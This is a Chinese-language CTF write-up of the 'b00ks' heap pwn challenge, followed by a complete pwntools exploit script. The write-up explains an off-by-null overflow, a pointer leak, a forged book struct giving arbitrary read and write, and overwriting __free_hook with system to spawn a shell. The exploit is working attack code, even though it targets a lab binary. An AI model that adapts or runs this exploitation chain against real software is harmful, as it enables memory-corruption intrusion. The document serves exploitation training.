典型的offbyone利用
本地通过patchelf将环境修改为Ubuntu16 libc-2.23
checksec:
IDA:
菜单题:
漏洞函数:
在读取输入到缓冲区时,边界检查有问题,最后结束符"\x00"会被读取到size+1的位置
利用思路
首先会将author name 读取到 unk_202040
处,长度最大0x20个字节到 unk_202060
,但是由于offbynull,会导致 unk_202061
被溢出覆盖为 “\x00” 即0。
而create创建books时会将指向book的指针存放在unk_202060
开始的连续地址处,
因此unk_202060
会存放第一本书的ptr,offbynull 漏洞 会修改book_ptr的最低字节为00
创建第一本书后,author name 的结束符会被 第一本书的ptr覆盖,此时 打印 author name 就会连带打印出第一本书的ptr,达到泄露地址的目的。
因为堆的初始化是按页对齐的,而该程序book的生成规律是:name——>desc——>book
程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息
struct book {
int id;
char *name;
char *description;
int size; }
因此offbynull 漏洞修改book_ptr
的最低字节为00 => book_ptr0
,相当于减小地址,可以达到接近desc地址的目的
这样一来,如果修改desc的内容可以顺序修改book_ptr0
的内容,
可以在
book_ptr0
处伪造一个book stuct,
1.填充自己想要输出的内容,在调用print打印book_ptr0
即可打印想要的内容,可以实现任意地址读
2.填充desc为自己想要修改的地址,搭配edit修改book_ptr0
的desc可以实现任意地址写,
基于以上思路可以实现获取libc基址后,覆盖__free_hook或者__malloc_hook为system或one gadget
方法一:mmap
堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。
mmap开辟出的块与libc基址的偏移是固定的,因此只要拿到mmap开辟出的chunk的地址,就能通过一个“固定的偏移”得到libc。
申请book2的name和desc都超大,即可mmap分配内存。
调试过程
author name,此时还未创建book,结束符"\x00"在2060字节处
创建book后,2060处被覆盖,此时print authorname时可以打印处book1的地址
此时desc距离book1的ptr被覆盖后的地址0x000055d0d7c3b100相差0xb0
在0x000055d0d7c3b100伪造book struct 后,该book结构为
序号:0x1
name_ptr:存储book2的name的指针
desc_ptr:存储book2的desc的指针
size:0x7fff
此时修改author name 后可以将book1的地址修改为0x000055d0d7c3b100,即伪造的book ,调用 print 时可以打印处book2的name和desc的地址
用此可以计算libc的基址,从而得到 free_hook system onegadget 等地址
接下来edit修改book1:0x000055d0d7c3b100的desc,即可将其指向free_hook,等价于将book2的desc指针修改为free_hook
最后edit修改book2的desc,即可将free_hook指向system
delete()即可调用free函数,free book2时相当于指向system(“/bin/sh”),获取shell
EXP
from pwn import *
from LibcSearcher import *
from time import *
context.log_level = 'debug'
# file_path = "./chall/1"
# local = 1
# remote_path = "node4.buuoj.cn:29718"
# elf = ELF("./chall/1")
# libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
# if local != 1:
# p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
# else:
# p = process(file_path)
sd = lambda payload : p.send(payload)
sdl = lambda payload : p.sendline(payload)
sda = lambda data,payload : p.sendafter(data,payload)
sdla = lambda data,payload : p.sendlineafter(data,payload)
it = lambda : p.interactive()
rc = lambda num : p.recv(num)
rc_all = lambda : p.recv()
rcu = lambda data : p.recvuntil(data)
lbc = lambda str1,str2 : LibcSearcher(str1,str2)
lg = lambda name,data : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))
def db():
gdb.attach(p)
pause()
def dbs(src):
gdb.attach(p, src)
def tb(x): #将输入内容转换为python3的比特流格式
return(bytes(str(x),encoding='utf8'))
# asis2016_b00ks
p = process("./b00ks")
# remote_path = "node4.buuoj.cn:28229"
# p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
elf = ELF("./b00ks")
libc = ELF("./libc-2.23.so")
def create(book_size,name,desc_size,desc):
rcu("> ")
sdl(b"1")
rcu(": ")
sdl(tb(book_size))
rcu(": ")
sdl(name)
rcu(": ")
sdl(tb(desc_size))
rcu(": ")
sdl(desc)
def delete(id):
rcu("> ")
sdl(b"2")
rcu(": ")
sdl(tb(id))
def edit(id,desc):
rcu("> ")
sdl(b"3")
rcu(": ")
sdl(tb(id))
rcu(": ")
sdl(desc)
def print1():
rcu("> ")
sdl(b"4")
def change(name):
rcu("> ")
sdl(b"5")
rcu(": ")
sdl(tb(name))
rcu("Enter author name: ")
sdl(b"l"*32)
create(32,"a"*32,0x100,"a")#1
create(0x21000,"/bin/sh",0x21000,"/bin/sh")#2
# db()
print1()
rcu("l"*32)
book1_addr = u64(rc(6).ljust(8,b"\x00"))
lg("book1_addr",book1_addr)
book2_name_addr_ptr = book1_addr+0x38
book2_desc_addr_ptr = book1_addr+0x40
payload = b"a"*0xb0 + p64(1) + p64(book2_name_addr_ptr) + p64(book2_desc_addr_ptr) + p64(0x7fff)
edit(1,payload)
# db()
change("l"*32)
print1()
rcu("Name: ")
book2_name_addr = u64(rc(6).ljust(8,b"\x00"))
rcu("Description: ")
book2_desc_addr = u64(rc(6).ljust(8,b"\x00"))
lg("book2_name_addr",book2_name_addr)
lg("book2_desc_addr",book2_desc_addr)
# db()
libc_base = book2_name_addr - 0x5c7010
onegadget = libc_base + 0x45206
bin_sh = next(libc.search(b"/bin/sh")) + libc_base
system_addr = libc.symbols["system"] + libc_base
free_hook = libc_base + libc.symbols["__free_hook"]
lg("onegadget",onegadget)
lg("free_hook",free_hook)
lg("bin_sh",bin_sh)
lg("system_addr",system_addr)
edit(1,p64(free_hook))
# db()
edit(2,p64(system_addr))
# db()
# sleep(5)
delete(2)
it()